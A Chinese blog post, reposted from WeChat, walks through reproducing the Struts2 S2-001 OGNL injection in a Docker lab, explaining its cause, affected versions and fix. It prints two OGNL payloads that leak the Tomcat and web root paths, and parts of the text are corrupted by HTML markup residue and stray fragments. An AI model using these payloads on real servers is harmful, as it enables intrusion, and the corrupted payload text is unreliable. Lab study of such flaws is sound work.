漏洞信息:
漏洞信息页面:
https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述:
Remote code exploit on form validation error
漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
我已经搭建完成,这个图片是已经搭建完成的,使用 docker ps 命令 查看已经搭建好的靶场容器。
原理:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}
对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
利用过程:
进入靶场
这个漏洞的问题在于可以直接输入和直接回显
将POC粘到一个输入框,点击Submit
此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
获取tomcat执行路径:
<span class="token operator">%</span><span class="token punctuation">{</span><span class="token string">"tomcatBinDir{"</span><span class="token operator"> </span><span class="token annotation punctuation">@java</span><span class="token punctuation">.</span>lang<span class="token punctuation">.</span>System<span class="token annotation punctuation">@getProperty</span><span class="token punctuation">(</span><span class="token string">"user.dir"</span><span class="token punctuation">)</span><span class="token operator"> </span><span class="token string">"}"</span><span class="token punctuation">}</span>
获取Web路径:
%{#req=ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} .apache.struts2.
总结:
最后总结一下 S2-001 的一个触发条件:开启 altSyntax 功能;使用 s 标签处理表单;action 返回错误;OGNL 递归处理
值得一提的是 Struts2 官方给出了一个解决办法中提到了:从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 1}。
也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。
推荐文章++++
本文始发于微信公众号(黑白之道):【Struts2-命令-代码执行漏洞分析系列】 S2-001
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论